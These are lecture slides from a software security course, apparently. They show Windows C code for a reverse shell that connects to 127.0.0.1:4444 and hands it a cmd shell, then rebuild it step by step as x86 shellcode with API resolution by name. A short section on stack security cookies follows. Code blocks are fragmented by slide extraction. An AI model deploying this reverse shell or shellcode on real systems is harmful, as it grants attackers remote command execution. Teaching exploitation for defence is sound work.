

# Software Security

## Lecture 4

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## Topic 7 – Reverse Shell

Demo: 1-buffer-overflow\5-reverse-shell

```
#pragma comment(lib, "Ws2_32.lib")
```

```
void main(void) {
```

```
    WSADATA d;
```

```
    WSAStartup(sizeof(d), &d);
```

```
    SOCKET s = WSASocketA(2 /*AF_INET*/, 1 /*SOCK_STREAM*/,
```

```
    struct sockaddr_in addr = { 0 };
```

```
    addr.sin_addr.S_un.S_addr = 0x0100007F; // 127.0.0.1
```

```
    addr.sin_port = 0x5c11; // 4444
```

```
    addr.sin_family = 2;
```

```
    connect(s, &addr, sizeof(addr));
```

```
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOA sui = { 0 };
sui.dwFlags = STARTF_USESTDHANDLES /*0x100*/;
sui.cb = sizeof(sui);
sui.hStdError = s;
sui.hStdInput = s;
sui.hStdOutput = s;

CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);

ExitProcess(0);
```

---

---

# Static/Dynamic DLL Loading

- Static

- `#pragma comment(lib, "Ws2_32.lib")`

- Dynamic

- `HModule m = LoadLibraryA("ws2_32")`

- `func = GetProcAddress(m, "WSAStartup");`

- `func(...);`

```
87 ; ==== LoadLibraryA("ws2_32") ====
```

```
88
```

```
89 xor ebx, ebx
```

```
90 push ebx
```

```
91 push 'aryA'
```

```
92 push 'Libr'
```

```
93 push 'Load'
```

```
94 mov eax, esp
```

```
95 call GetExportByName ; eax = LoadLibraryA
```

```
96
```

```
97 xor ebx, ebx
```

```
98 mov bx, '32'
```

```
99 push ebx
```

```
100 push 'ws2_'
```

```
101 push esp
```

```
102 call eax
```

```
103 mov ebp, eax ; ebp = dll
```

```
---
```

```
106
```

```
xor ebx, ebx
```

```
107
```

```
mov bx, 'ss'
```

```
108
```

```
push ebx
```

```
109
```

```
push 'ddre'
```

```
110
```

```
push 'rocA'
```

```
111
```

```
push 'GetP'
```

```
112
```

```
mov eax, esp
```

```
113
```

```
call GetExportByName
```

```
114
```

```
mov edi, eax ; edi = GetProcAddress
```

```
116 xor ebx, ebx
117 mov bx, 'up'
118 push ebx
119 push 'tart'
120 push 'WSAS'
121 push esp
122 push ebp
123 call edi ; eax = WSASStartup
124
125 xor ebx, ebx
126 mov bx, 0x0190
127 sub esp, ebx
128 push esp
129 push ebx
130 call eax
```

```
; ==== WSASStartup() ====
```

```
WSADATA d;
WSASStartup(sizeof(d), &d);
```

131			
132	; ==== WSASocketA(2 /*AF_INET	143	xor ebx, ebx
133		144	push ebx
134	xor ebx, ebx	145	push ebx
135	mov bx, 'tA'	146	push ebx
136	push ebx	147	mov bl, 6
137	push 'ocke'	148	push ebx
138	push 'WSAS'	149	mov bl, 1
139	push esp	150	push ebx
140	push ebp	151	mov bl, 2
141	call edi ; eax = WSASocketA	152	push ebx
...		153	call eax
		154	mov esi, eax ; esi = socket

```
SOCKET s = WSASocketA(2 /*AF_INET*/, 1 /*SOCK_STREAM*/, 6
```



```
163  
164     mov ebx, 'eect'  
165     shr ebx, 8  
166     push ebx  
167     push 'conn'  
168     push esp  
169     push ebp  
170     call edi ; eax = connect
```

```
struct sockaddr_in addr = { 0 };  
addr.sin_addr.S_un.S_addr = 0x0100007F;  
addr.sin_port = 0x5c11; // 4444  
addr.sin_family = 2;  
connect(s, &addr, sizeof(addr));
```

```
172     xor ebx, ebx  
173     push ebx  
174     push ebx  
175     push 0x0100007F  
176     push word 0x5c11  
177     mov bl, 2  
178     push word bx  
179     mov edx, esp  
180     push byte 16  
181     push edx  
182     push esi  
183     call eax
```

```
225     xor ebx, ebx
226     mov bx, 'sA'
227     push ebx
228     push 'oces'
229     push 'tePr'
230     push 'Crea'
231     mov eax, esp
232     call GetExportByName
233     mov edi, eax ; edi = CreateProcessA
234
235     mov ebx, 'ccmd'
236     shr ebx, 8
237     push ebx
238     mov ecx, esp ; ecx = lpCommandLine
239
240     xor edx, edx ; edx = all the NULLs
241     CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
242     sub esp, 16
243     mov ebx, esp ; ebx = lpProcessInformation
```

push esi	; hStdError	push ebx	; lpProcessInformation
push esi	; hStdOutput	push eax	; lpStartupInfo
push esi	; hStdInput	push edx	;
push edx	; lpReserved2	push edx	
push edx	; wShowWindow/cbReserved2	push edx	
mov dh, 1		xor eax, eax	
push edx	; dwFlags = 0x100	inc eax	
xor edx, edx		push eax	
push edx	; dwFillAttribute	push edx	
...		push edx	
push edx	; lpReserved	push ecx	
mov dl, 44		push edx	
push edx	; cb (size)		
xor edx, edx		call edi	
mov eax, esp	; eax = lpStartupInfo		

```
CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
```

```
284  
285     mov ebx, 'eess'  
286     shr ebx, 8  
287     push ebx  
288     push 'Proc'  
289     push 'Exit'  
290     mov eax, esp  
291     call GetExportByName  
292  
293     xor ebx, ebx  
294     push ebx  
295     call eax
```

```
ExitProcess(0);
```

# DEMO

# Topic 8 – Security Cookies

## Demo: 1-buffer-overflow\6-cookies

# Removing /GS-

- Entry Point: `CALL demo.__security_init_cookie`
- Prologue: `MOV EAX, [__security_cookie]  
XOR EAX, EBP  
MOV [EBP-4], EAX`
- `MOV ECX, [EBP-4]  
XOR ECX, EBP`
- Epilogue: `CALL demo.__security_check_cookie`

<code>__security_check_cookie</code>	<code>CMP ECX, [__security_cookie] JNZ SHORT demo.00401105 RET JMP demo.__report_gsfailure</code>
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# Why XOR EBP?

- Without XOR'ing with EBP leaking the reference cookie (using an out-of-bounds read, for example) is sufficient to attack.
- XOR'ing with EBP generates a different cookie for every frame

DEMO